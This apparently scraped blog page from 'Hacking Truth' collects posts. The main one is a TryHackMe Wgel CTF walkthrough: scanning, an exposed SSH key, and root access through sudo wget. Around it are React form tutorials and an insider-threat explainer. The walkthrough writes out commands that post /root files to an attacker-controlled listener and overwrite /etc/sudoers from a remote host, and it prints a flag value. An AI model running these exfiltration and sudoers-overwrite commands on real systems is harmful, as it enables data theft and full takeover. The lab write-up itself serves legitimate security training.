-->

ABOUT US

Our development agency is committed to providing you the best service.

OUR TEAM

The awesome people behind our brand ... and their life motto.

  • Kumar Atul Jaiswal

    Ethical Hacker

    Hacking is a Speed of Innovation And Technology with Romance.

  • Kumar Atul Jaiswal

    CEO Of Hacking Truth

    Loopholes are every major Security,Just need to Understand it well.

  • Kumar Atul Jaiswal

    Web Developer

    Techonology is the best way to Change Everything, like Mindset Goal.

OUR SKILLS

We pride ourselves with strong, flexible and top notch skills.

Marketing

Development 90%
Design 80%
Marketing 70%

Websites

Development 90%
Design 80%
Marketing 70%

PR

Development 90%
Design 80%
Marketing 70%

ACHIEVEMENTS

We help our clients integrate, analyze, and use their data to improve their business.

150

GREAT PROJECTS

300

HAPPY CLIENTS

650

COFFEES DRUNK

1568

FACEBOOK LIKES

STRATEGY & CREATIVITY

Phasellus iaculis dolor nec urna nullam. Vivamus mattis blandit porttitor nullam.

PORTFOLIO

We pride ourselves on bringing a fresh perspective and effective marketing to each project.

  • TryHackMe Wgel CTF Exfiltrate the root flag

     


    TryHackMe Wgel CTF Exfiltrate the root flag

     

    Wgel CTF is a TryHackMe machine, after listing the website we found a private key that gave us SSH access. We escalate privileges by modifying the sudoers file with Wget.


    First we start with NMAP tool. TCP port scan, we see two open ports http (80) and ssh (22).

     

     

    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/wgel-again]
    └─$ sudo nmap -O 10.10.56.251                        
    [sudo] password for hackerboy: 
    Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-28 23:49 IST
    Nmap scan report for 10.10.56.251
    Host is up (0.21s latency).
    Not shown: 998 closed tcp ports (reset)
    PORT   STATE SERVICE
    22/tcp open  ssh
    80/tcp open  http
    No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
    TCP/IP fingerprint:
    OS:SCAN(V=7.93%E=4%D=7/28%OT=22%CT=1%CU=40458%PV=Y%DS=2%DC=I%G=Y%TM=64C406D
    OS:2%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=107%TI=Z%CI=I%TS=A)SEQ(SP=1
    OS:05%GCD=1%ISR=107%TI=Z%CI=I%II=I%TS=A)OPS(O1=M508ST11NW6%O2=M508ST11NW6%O
    OS:3=M508NNT11NW6%O4=M508ST11NW6%O5=M508ST11NW6%O6=M508ST11)WIN(W1=68DF%W2=
    OS:68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN(R=Y%DF=Y%T=40%W=6903%O=M508NNSN
    OS:W6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D
    OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O
    OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W
    OS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%R
    OS:IPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
    
    Network Distance: 2 hops
    
    OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 31.04 seconds
                                                                                                                                                                            
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/wgel-again]
    └─$ 



     

    HTTP

    Apache is running on port 80. 




     We analyzed the source code of the apache index and found a comment that is not common in the apache index.

     

    SSH - Jessie

     

    GOBUSTER

    Directory and file scanning with gobuster.

     

    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/wgel-again]
    └─$ sudo gobuster dir -u http://10.10.56.251/ -w /usr/share/dirb/wordlists/common.txt -t 25 -x php,html,txt -q
    [sudo] password for hackerboy: 
    /.html                (Status: 403) [Size: 277]
    /.htpasswd.txt        (Status: 403) [Size: 277]
    /index.html           (Status: 200) [Size: 11374]
    /index.html           (Status: 200) [Size: 11374]
    /server-status        (Status: 403) [Size: 277]
    /sitemap              (Status: 301) [Size: 314] [--> http://10.10.56.251/sitemap/]
                                                                                                                                                                            
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/wgel-again]
    └─$
    

     

     

    Page web and /sitemap/

     
            


     

     Again we do a scan with gobuster but now to the page we found ( /sitemap/). 


     

    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/wgel-again]
    └─$ sudo gobuster dir -u http://10.10.56.251/sitemap -w /usr/share/dirb/wordlists/common.txt -t 25 -x php,html,txt -q
    [sudo] password for hackerboy: 
    
    /.htpasswd.txt        (Status: 403) [Size: 277]
    /.htpasswd.php        (Status: 403) [Size: 277]
    /.ssh                 (Status: 301) [Size: 319] [--> http://10.10.56.251/sitemap/.ssh/]
    /about.html           (Status: 200) [Size: 12232]
    /blog.html            (Status: 200) [Size: 12745]
    /contact.html         (Status: 200) [Size: 10346]
    /css                  (Status: 301) [Size: 318] [--> http://10.10.56.251/sitemap/css/]
    /fonts                (Status: 301) [Size: 320] [--> http://10.10.56.251/sitemap/fonts/]
    /images               (Status: 301) [Size: 321] [--> http://10.10.56.251/sitemap/images/]
    /index.html           (Status: 200) [Size: 21080]
    /index.html           (Status: 200) [Size: 21080]
    /js                   (Status: 301) [Size: 317] [--> http://10.10.56.251/sitemap/js/]
    /services.html        (Status: 200) [Size: 10131]
    /shop.html            (Status: 200) [Size: 17257]
    /work.html            (Status: 200) [Size: 11428]
                                                                                                                                                                            
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/wgel-again]
    └─$ 
    
    
    

     


     

    SSH - Jessie

    We start session with Jessieand the private key we found earlier, we get an ssh shell and our first flag user_flag.txt .

     

    An id_rsa key can be used as an alternative method to log into SSH. Meaning, we do not need a password! Maybe we can try this against the Jessie user found earlier?


    Initial Access


    Download the id_rsa key from the webserver with wget:

     

    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/wgel-again]
    └─$ wget http://10.10.56.251/sitemap/.ssh/id_rsa -O ./id_rsa.txt                                            
    --2023-07-29 01:22:03--  http://10.10.56.251/sitemap/.ssh/id_rsa
    Connecting to 10.10.56.251:80... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 1675 (1.6K)
    Saving to: ‘./id_rsa.txt’
    
    ./id_rsa.txt                              100%[=====================================================================================>]   1.64K  --.-KB/s    in 0s      
    
    2023-07-29 01:22:03 (43.1 MB/s) - ‘./id_rsa.txt’ saved [1675/1675]
    
                                                                                                                                                                            
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/wgel-again]
    └─$ 
    
    
    

     

    Now login as Jessie:

    $ chmod 600 id_rsa.txt
    $ sudo chown hackerboy:hackerboy id_rsa.txt
    $ ssh jessie@10.10.56.251 -i id_rsa.txt

     

     


     


     

     

    Privilege Escalation


    Next, we need to read the root user flag. In order to do so, we need root privileges.

    A good first check is to run sudo -l to list what we can run as root:

     

     

    Click on this link to learn about sudo -l (all about enumeration) - CLICK HERE


     

     


     There are two entries here: (1) we can run all commands as root, but need to know Jessie’s password, and (2) we can run wget as root.

    According to the amazing GTFOBins repo we can use wget to read files. We’ll use this technique to read the root user’s flag:

     

    sudo /usr/bin/wget --post-file=/root/root_flag.txt http://10.9.22.119:4545

    # This is our system IP 10.9.22.119

    # we will same port from both side 4545


    Netcat listener

    nc  -lvp 4545


    Root flag - b1b968b37519ad1daa6408188649263d

    And in the wgel machine we execute the wget command with sudo which will overwrite the file /etc/sudoers.

    We are located in the folder /etc/and we execute:

    sudo /usr/bin/wget 10.9.22.119:4545/sudoers --output-document=sudoers





    Disclaimer

     

    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.

     

  • How to compared input to a list of safe input or characters when user submitting form by react js

     

    How to compared input to a list of safe input or characters when user submitting form by react js

     

     

    Safe Input or Character 



    Today in this blog, we will aware about How to remove array object elements in reactsjs. So, without wasting any time lets do it but lets recap what is exactly React js.


    React


    Certainly, Reactjs is a JavaScript library developed by Facenook for building user interfaces. It allows developers to create reusable UI components and effciently manage the state of their applications. Here are some key aspects of Reactjs.


    Component-Based Architecture: ReactJS follows a component-based architecture, where the user interface is divided into small, reusable components. Components encapsulate their own logic, state, and rendering, making it easier to build and maintain complex user interfaces.



    Virtual DOM: ReactJS uses a virtual representation of the DOM (Document Object Model), known as the Virtual DOM. When the state of a component changes, React updates the Virtual DOM.



    JSX: JSX is a syntax extension for JavaScript used in React. It allows developers to write HTML-like code within JavaScript, making it easier to describe the structure and appearance of components. JSX code is transpiled to regular JavaScript using tools like Babel before being executed in the browser.


    Hooks: React introduced Hooks in version 16.8 as a way to use state and other React features in functional components. Hooks allow developers to write reusable logic and manage state within functional components without the need for class components. The most commonly used hooks are useState for managing state and useEffect for handling side effects such as fetching data or subscribing to events.


    React Router: React Router is a popular routing library for React applications. It enables developers to create single-page applications with multiple views and handles routing between different components based on the URL.


    State Management: React provides a flexible ecosystem of state management solutions. While React's built-in state management (useState ) is suitable for managing local component state, more complex applications may benefit from additional state management libraries like Redux. These libraries help manage global application state and provide predictable ways to update and access the state.


    ReactJS has gained widespread popularity due to its performance, reusability, and declarative approach to building user interfaces. It has large community.


    NOTE - Here we will Tailwind CSS for designing.

    In ReactJS, the user input can be compared to a list of safe characters or patterns by implementing input validation within the form component. React provides various ways to handle form inputs and validate user input. Here's an example of how you can do it:

    Here we first make a file as called SafeInputForm.jsx.

    import React, { useState } from 'react';
    
    const SafeInputForm = () => {
      
      const safeCharacters = /^[a-zA-Z0-9]*$/;
    
     
      const [userInput, setUserInput] = useState('');
      const [errorMessage, setErrorMessage] = useState('');
    
      
      const handleSubmit = (event) => {
        event.preventDefault();
    
        // Check if the input is safe
        if (safeCharacters.test(userInput)) {
          
          alert('Input is valid!');
        } else {
         
          setErrorMessage('Invalid input! Please only use alphanumeric characters.');
        }
      };
    
     
      const handleInputChange = (event) => {
        
        setUserInput(event.target.value);
      };
    
      return (
        <form onSubmit={handleSubmit}>
          <label htmlFor="user_input">Enter your input:</label>
          <input
            type="text"
            name="user_input"
            id="user_input"
            value={userInput}
            onChange={handleInputChange}
          />
          <input type="submit" value="Submit" />
          {errorMessage && <p>{errorMessage}</p>}
        </form>
      );
    };
    
    export default SafeInputForm;
    


     

     
    In this example, we define a regular expression safeCharacters that matches only alphanumeric characters. We use the useState hook to keep track of the user input and any error messages related to input validation.

    The handleSubmit function is called when the form is submitted. It checks whether the user input matches the safeCharacters regular expression. If the input is valid, the form is processed (you can do additional actions like saving data to the server or performing some other task). If the input contains unsafe characters, an error message is displayed on the form.

    The handleInputChange function is used to update the userInput state whenever the input field value changes.


    In your main application file (app.jsx), you can include the SafeInputForm component, which will render the form on the page.


    Output

    How to compared input to a list of safe input or characters when user submitting form by react js


     

    if we dont enter alphanumeric character and using with space its generate error like invalid input, please only use alphanumeric characters.



    How to compared input to a list of safe input or characters when user submitting form by react js





    Disclaimer



    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.


  • Insider Threat Actor

     


     

    Insider threat actor

     

    Insider threat actor is the one who working for the company internal employees we used to say that employee has more access to the resources so they can have a further damage.

    How to  prevent this insider threat actor by doing a proper background check before hiring any candidate!!!

    Live example people use to say that the information was breached by Edward Snowden.
    Edward Snowden was a insider for a them which reveal the information for the NSA.

    Edward Snowden is often considered a controversial figure who gained notoriety as an insider threat actor. In 2013, Snowden, a former contractor for the National Security Agency (NSA) in the United States, leaked classified documents to the media, revealing extensive surveillance programs conducted by the NSA 



    Snowden's actions were seen as a significant breach of trust and a clear example of an insider threat. A

     

    Here are the primary categories of insider threats and their corresponding descriptions:

    # Fraud - In this type of insider threat, an individual within the organization misuses their authorized access to steal, alter, or delete data with the intention of deceiving the company or gaining personal benefit.

    # Sabotage - This category of insider threat involves an authorized employee or insider who maliciously exploits their legitimate network access to sabotage or harm the company's systems, data, or operations.



    Please note that insider threats can manifest in various forms, and these two categories represent common motivations and actions that malicious insiders may undertake. Preventing and mitigating such threats requires a comprehensive security approach that includes employee training, access control measures, and monitoring for suspicious activities.

     

     

    Disclaimer


    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking. 




     

  • How to remove array object elements in reactjs?

     

    How to remove array object elements in reactjs?




    Today in this blog, we will aware about How to remove array object elements in reactsjs. So, without wasting any time lets do it but lets recap what is exactly React js.



    React


    Certainly, Reactjs is a JavaScript library developed by Facenook for building user interfaces. It allows developers to create reusable UI components and effciently manage the state of their applications. Here are some key aspects of Reactjs.


    Component-Based Architecture: ReactJS follows a component-based architecture, where the user interface is divided into small, reusable components. Components encapsulate their own logic, state, and rendering, making it easier to build and maintain complex user interfaces.



    Virtual DOM: ReactJS uses a virtual representation of the DOM (Document Object Model), known as the Virtual DOM. When the state of a component changes, React updates the Virtual DOM.



    JSX: JSX is a syntax extension for JavaScript used in React. It allows developers to write HTML-like code within JavaScript, making it easier to describe the structure and appearance of components. JSX code is transpiled to regular JavaScript using tools like Babel before being executed in the browser.

     


    Hooks: React introduced Hooks in version 16.8 as a way to use state and other React features in functional components. Hooks allow developers to write reusable logic and manage state within functional components without the need for class components. The most commonly used hooks are useState for managing state and useEffect for handling side effects such as fetching data or subscribing to events.



    React Router: React Router is a popular routing library for React applications. It enables developers to create single-page applications with multiple views and handles routing between different components based on the URL.



    State Management: React provides a flexible ecosystem of state management solutions. While React's built-in state management (useState ) is suitable for managing local component state, more complex applications may benefit from additional state management libraries like Redux. These libraries help manage global application state and provide predictable ways to update and access the state.



    ReactJS has gained widespread popularity due to its performance, reusability, and declarative approach to building user interfaces. It has large community. 



    NOTE - Here we will Tailwind CSS for designing.


    Here we first make a file as called ElementRemove.jsx.


    To remove array elements in ReactJS, you need to update the state of the component that holds the array and re-render the component with the updated state. Here are a few approaches you can take to remove array object elements in ReactJS:


    Using filter(): You can use the filter() method to create a new array that excludes the elements you want to remove. This method does not mutate the original array. Here's an example:


    import React, { useState } from "react";
    
    function ElementRemove() {
      const [myArray, setMyArray] = useState([
        { id: 1, name: "mango" },
        { id: 2, name: "apple" },
        { id: 3, name: "banana" },
      ]);
    
      const removeElement = (id) => {
        const updatedArray = myArray.filter((item) => item.id !== id);
        setMyArray(updatedArray);
      };
    
      return (
        <div>
          <div className="grid grid-cols-1 lg:grid-cols-1 ">
            <div className="text-center md:grid-rows-6">
              <div className="mt-36 ml-24">
                {myArray.map((item) => (
                  <div key={item.id}>
                    {item.name}
                    <button
                      className="border ml-6  pr-2 pl-2 mb-2"
                      onClick={() => removeElement(item.id)}>
                      x
                    </button>
                  </div>
                ))}
              </div>
            </div>
          </div>
        </div>
      );
    }
    
    export default ElementRemove;
    



    In this example, each element in the myArray state is rendered with a "Remove" button. When the button is clicked, the removeElement function is called, which filters out the element with the specified id and updates the state with the new array.


    Output





    Disclaimer


    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking. 




  • How to add array object elements in react js

     

     

    How to add array object elements in react js

    Today in this blog, we will aware about How to add array object elements in reactjs. So, without wasting any time lets do it but lets recap what is exactly React js.


    React


    Certainly, reactjs is a JavaScript library developed by Facenook for building user interfaces. It allows developers to create reusable UI components and effciently manage the state of their applications. Here are some key aspects of Reactjs.



    Component-Based Architecture: ReactJS follows a component-based architecture, where the user interface is divided into small, reusable components. Components encapsulate their own logic, state, and rendering, making it easier to build and maintain complex user interfaces.


    Virtual DOM: ReactJS uses a virtual representation of the DOM (Document Object Model), known as the Virtual DOM. When the state of a component changes, React updates the Virtual DOM.


    JSX: JSX is a syntax extension for JavaScript used in React. It allows developers to write HTML-like code within JavaScript, making it easier to describe the structure and appearance of components. JSX code is transpiled to regular JavaScript using tools like Babel before being executed in the browser.

     

    Hooks: React introduced Hooks in version 16.8 as a way to use state and other React features in functional components. Hooks allow developers to write reusable logic and manage state within functional components without the need for class components. The most commonly used hooks are useState for managing state and useEffect for handling side effects such as fetching data or subscribing to events.



    React Router: React Router is a popular routing library for React applications. It enables developers to create single-page applications with multiple views and handles routing between different components based on the URL.


    State Management: React provides a flexible ecosystem of state management solutions. While React's built-in state management (useState ) is suitable for managing local component state, more complex applications may benefit from additional state management libraries like Redux. These libraries help manage global application state and provide predictable ways to update and access the state.



    ReactJS has gained widespread popularity due to its performance, reusability, and declarative approach to building user interfaces. It has large community.



    NOTE - Here we will Tailwind CSS for designing.



    Here we first make a file as called ElementAdd.jsx. 

     

     

    import React, { useState } from 'react';
    
    function ElementAdd() {
      const [myArray, setMyArray] = useState([
        { id: 1, name: 'mango' },
        { id: 2, name: 'apple' },
        { id: 3, name: 'banana' }
    ]);
      const [inputValue, setInputValue] = useState('');
    
      const handleInputChange = (event) => {
        setInputValue(event.target.value);
      };
    
      const addElement = () => {
        const newElement = { id: myArray.length + 1, name: inputValue };
        setMyArray(prevArray => [...prevArray, newElement]);
        setInputValue('');
      };
    
      return (
        <div>
          {myArray.map(item => (
            <div key={item.id}>{item.name}</div>
          ))}
    
          <input type="text" value={inputValue}  className='border' onChange={handleInputChange} />
          <button onClick={addElement} >Add Element</button>
        </div>
      );
    }
    
    export default ElementAdd;
    
    
    
    


     

     

    # In this example, the initial state myArray is an empty array. The inputValue state variable is used to capture the user input from an input field.

    # The handleInputChange function is triggered when the user types in the input field. It updates the inputValue state with the new value entered by the user.

    # The addElement function is triggered when the "Add Element" button is clicked. It creates a new element using the current inputValue as the name and assigns a unique id. It then uses the setMyArray function to update the array state by spreading the previous array elements (prevArray) along with the new element.

    # After adding the element, the setInputValue('') function is called to reset the input field.

    # When rendering the array, each item's name property is displayed. The input field captures user input, and the "Add Element" button triggers the addElement function to add a new object element to the array based on the user's input.

    # In this example, item.id is used as the key for each rendered element.




    Output


     

    How to add array object elements in react js

     

     

     

     

    Disclaimer



    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.


  • How to validate emoji in input field by using emoji regex formik in Reactjs ?

     

    How to validate emoji in input field by using emoji regex formik in Reactjs ?



    Today in this blog, we will aware about How to validate emoji in input field by using emoji regex formik. So, without wasting any time lets do it but lets recap what is exactly React js. 



    React


    Certainly! ReactJS is a JavaScript library developed by Facebook for building user interfaces. It allows developers to create reusable UI components and efficiently manage the state of their applications. Here are some key aspects of ReactJS:


      

    Component-Based Architecture: ReactJS follows a component-based architecture, where the user interface is divided into small, reusable components. Components encapsulate their own logic, state, and rendering, making it easier to build and maintain complex user interfaces.


      Virtual DOM: ReactJS uses a virtual representation of the DOM (Document Object Model), known as the Virtual DOM. When the state of a component changes, React updates the Virtual DOM.


      JSX: JSX is a syntax extension for JavaScript used in React. It allows developers to write HTML-like code within JavaScript, making it easier to describe the structure and appearance of components. JSX code is transpiled to regular JavaScript using tools like Babel before being executed in the browser.

     

    Hooks: React introduced Hooks in version 16.8 as a way to use state and other React features in functional components. Hooks allow developers to write reusable logic and manage state within functional components without the need for class components. The most commonly used hooks are useState for managing state and useEffect for handling side effects such as fetching data or subscribing to events.



    React Router: React Router is a popular routing library for React applications. It enables developers to create single-page applications with multiple views and handles routing between different components based on the URL.


    State Management: React provides a flexible ecosystem of state management solutions. While React's built-in state management (useState ) is suitable for managing local component state, more complex applications may benefit from additional state management libraries like Redux. These libraries help manage global application state and provide predictable ways to update and access the state.



    ReactJS has gained widespread popularity due to its performance, reusability, and declarative approach to building user interfaces. It has large community. 



    NOTE - Here we will Tailwind CSS for designing.



     Here we first make a file as called Emoji.jsx.



    To validate an emoji in an input box using useFormik in ReactJS, you can utilize a custom validation function. Here's an example of how you can implement it:



    1) Install the emoji-regex library by running the following command in your project directory:



        npm install emoji-regex


         image  emoji-regex






        npm install formik


       




    2) Import the necessary dependencies in your component:



    import { useFormik } from 'formik';
    import emojiRegex from 'emoji-regex/RGI_Emoji';
    


    3) Define the validation function to check if the input contains any emoji:



    const validateEmoji = (value) => {
      if (emojiRegex().test(value)) {
        return 'Emojis are not allowed.';
      }
    };
    



    4) Use useFormik hook to manage your form and add the validate property to the input field you want to validate:




    const MyForm = () =&gt {
        const formik = useFormik({
          initialValues: {
            myInput: '',
          },
          onSubmit: (values) =&gt {
            // Handle form submission
          },
        });
      
        return (
          &ltform onSubmit={formik.handleSubmit}&gt
            &ltinput
              id="myInput"
              name="myInput"
              type="text"
              onChange={formik.handleChange}
              onBlur={formik.handleBlur}
              value={formik.values.myInput}
              // Add the validation function to validate the input field
              validate={validateEmoji}
            /&gt
            {formik.errors.myInput && formik.touched.myInput && (
              &ltdiv&gt{formik.errors.myInput}&lt/div&gt
            )}
            &ltbutton type="submit"&gtSubmit&lt/button&gt
          &lt/form&gt
        );
      };
      



    Use useFormik hook to manage your form and add the validate property to the input field you want to validate:Note the validate={validateEmoji} prop added to the input field, which references the custom validation function.



    5) Finally, render the MyForm component wherever you need it in your application:

      


    const App = () =&gt {
        return &ltMyForm />
      };
      
      export default App;
    




    With this setup, the validateEmoji function will be called whenever the input field value changes or the input loses focus. If an emoji is found in the input, the validation function will return an error message, and the error will be displayed below the input field.



      Remember to adjust the code based on your specific use case and form structure.


    Full Code




    import React, { useState } from 'react';
    import { useFormik } from 'formik';
    // import emojiRegex from 'emoji-regex/RGI_Emoji';
    import emojiRegex from 'emoji-regex';
    
    
    function Emoji() {
     
      const [data, setData] = useState(null);
    
      const validateEmoji = (value) =&gt {
        if (emojiRegex().test(value)) {
          return 'Emojis are not allowed.';
        }
      };2
    
    const formik = useFormik({
      initialValues: {
        myInput: '',
      },
    });
    
    function getData (val) {
      console.log(val.target.value);
      setData(val.target.value);
    }
    
      return (
        &ltdiv&gt
          &ltdiv className=" grid  grid-cols-1 lg:grid-cols-1  md:grid-cols-1 sm:grid-cols-1  "&gt
            &ltdiv className="h-auto md:grid-cols-6 ml-36   text-center md:grid-rows-6"&gt
              &ltdiv className="mx-auto mt-36   w-80"&gt
                &ltform className="bg-white shadow-md rounded px-8 pt-6 pb-8 mb-4"  onSubmit={formik.handleSubmit}&gt
                  &ltdiv className="mb-1"&gt
                    &ltinput
                      
                      className="shadow appearance-none border border-red-500 rounded w-full py-2 px-3 text-gray-700 mb-3 leading-tight focus:outline-none focus:shadow-outline"
                      id="myInput"
            name="myInput"
            type="text"
            onChange={getData}
            onBlur={formik.handleBlur}
            value={formik.values.myInput}
            // Add the validation function to validate the input field
            validate={validateEmoji}
                    /&gt
                    {formik.errors.myInput && formik.touched.myInput && (
                      &ltdiv&gt{formik.errors.myInput}&lt/div&gt
                    )}
                  &lt/div&gt  
                &lt/form&gt
                {data}
              &lt/div&gt
            &lt/div&gt
          &lt/div&gt
        &lt/div&gt
      );
    }
    
    export default Emoji;
    



    Output 





    Disclaimer



    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking. 


  • How to get color output by passing the data into parent to child component in react js?

     

    How to get color output by passing the data into parent to child component in react js?



    Today in this blog, we will aware about get color output by passing data parent to child. So, without wasting any time lets do it but lets recap what is exactly React js




    React




    Certainly! ReactJS is a JavaScript library developed by Facebook for building user interfaces. It allows developers to create reusable UI components and efficiently manage the state of their applications. Here are some key aspects of ReactJS:


      
    Component-Based Architecture: ReactJS follows a component-based architecture, where the user interface is divided into small, reusable components. Components encapsulate their own logic, state, and rendering, making it easier to build and maintain complex user interfaces.

      
    Virtual DOM: ReactJS uses a virtual representation of the DOM (Document Object Model), known as the Virtual DOM. When the state of a component changes, React updates the Virtual DOM.

      
    JSX: JSX is a syntax extension for JavaScript used in React. It allows developers to write HTML-like code within JavaScript, making it easier to describe the structure and appearance of components. JSX code is transpiled to regular JavaScript using tools like Babel before being executed in the browser.
     

    Hooks: React introduced Hooks in version 16.8 as a way to use state and other React features in functional components. Hooks allow developers to write reusable logic and manage state within functional components without the need for class components. The most commonly used hooks are useState for managing state and useEffect for handling side effects such as fetching data or subscribing to events.

     


    React Router: React Router is a popular routing library for React applications. It enables developers to create single-page applications with multiple views and handles routing between different components based on the URL.

     


    State Management: React provides a flexible ecosystem of state management solutions. While React's built-in state management (useState ) is suitable for managing local component state, more complex applications may benefit from additional state management libraries like Redux. These libraries help manage global application state and provide predictable ways to update and access the state.



    ReactJS has gained widespread popularity due to its performance, reusability, and declarative approach to building user interfaces. It has large community. 




    NOTE - Here we will Tailwind CSS for designing.



    Here we first make a file as called UIcolor.jsx.



    import React, { useState } from 'react'
    import Callback from './Callback';
    
    function UIcolor() {
    
        const [UIcolor, setUIcolor] = useState(null);
         const getColor = (color) => {
            setUIcolor(color);
         };
    
    
      return (
        <div>
         <div 
         className=' grid grid-cols-1 '>
         <div className='border-2  p-12 w-56 mt-6 mx-6'
          style={{ background: `${UIcolor}`}}
         >
         </div>
         </div>
        
        <Callback getColor={getColor} />
    
        </div>
      )
    }
    
    export default UIcolor
    
    
    


    This is a React functional component called UIcolor that is responsible for rendering a color UI element. It uses the useState hook from React to manage the state of the color.


    Here's a breakdown of the component's structure and functionality:




    # The UIcolor component is imported along with the useState hook from the 'react' module.

    # The UIcolor component is defined as a function that returns JSX (React's syntax extension for JavaScript) to define the component's UI.

    # Inside the component, a state variable named UIcolor is created using the useState hook. It is initialized to null. The setUIcolor function is used to update the value of UIcolor.

    # The component defines a function named getColor which takes a color parameter. This function is responsible for updating the UIcolor state with the selected color.

    # The component's UI is defined using JSX. It consists of a <div> container that holds the color UI element.

    # The color UI element is represented by another <div> element with the CSS classes border-2, p-12, w-56, mt-6, and mx-6. These classes provide styling for the element, including a border, padding, width, margin, and positioning.

    # The style attribute is used to dynamically set the background color of the color UI element using the UIcolor state. The value of the UIcolor state is interpolated into the inline style using template literals (${UIcolor}).

    # The <Callback> component is rendered within the parent <div>. This component is assumed to be defined in a separate file and is responsible for providing a callback mechanism to select a color.

    # The getColor function is passed as a prop to the <Callback> component, allowing the selected color to be passed back to the UIcolor component and update the UIcolor state.

    # The UIcolor component is exported as the default export, which allows it to be imported and used in other parts of the application.




    and Now we will create another file called as Callback.jsx



    import React, { useState } from 'react'
    
    // function Callback () {
        const Callback = ({ getColor }) => {
        const [activecolor, setActivecolor] = useState();
        
        const handleChange = (e) => {
        const { value } = e.target;
        setActivecolor(value);
        getColor(value);
        };
    
      return (
        <div>
    
    
        <input
               type="text"
               id="input"
               aria-label='input'
               onChange={handleChange}
               value={activecolor}
               className='border-2 ml-6 pr-5 mt-5'
               
               />
        
        
        </div>
      )
    }
    
    export default Callback
    
    



    This is another React functional component called Callback that is responsible for rendering an input field and managing the selected color. It receives a prop named getColor which is a function provided by the parent component (UIcolor) to handle color selection.



    Here's a breakdown of the component's structure and functionality:



    # The Callback component is imported along with the useState hook from the 'react' module.

    # The Callback component is defined as an arrow function that receives the getColor prop as an argument. This prop is a function provided by the parent component (UIcolor) to handle color selection.

    # Inside the component, a state variable named activecolor is created using the useState hook. It is initialized without a value (undefined).

    # The component defines a function named handleChange which is triggered when the input field's value changes. It receives an event (e) parameter. The function extracts the value from the event target and updates the activecolor state with the new value. It also calls the getColor function provided by the parent component, passing the selected color as an argument.

    # The component's UI is defined using JSX. It consists of a <div> container that holds an <input> element.



    The <input> element has the following attributes:
            type="text": Specifies that it's a text input field.
            id="input": Sets the ID of the input field.
            aria-label='input': Provides an accessibility label for the input field.
            onChange={handleChange}: Binds the handleChange function to the input field's onChange event, so it is called whenever the value changes.
            value={activecolor}: Sets the value of the input field to the activecolor state, ensuring that it reflects the selected color and enables two-way data binding.
            className='border-2 ml-6 pr-5 mt-5': Applies CSS classes to style the input field, including a border, left margin, right padding, and top margin.
    




    # The component returns the JSX representing the input field within the enclosing <div>.


    And Now finally we will call UIcolor component in App.jsx.




    Output

















    Disclaimer



    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking. 



  • WHAT WE DO

    We've been developing corporate tailored services for clients for 30 years.

    CONTACT US

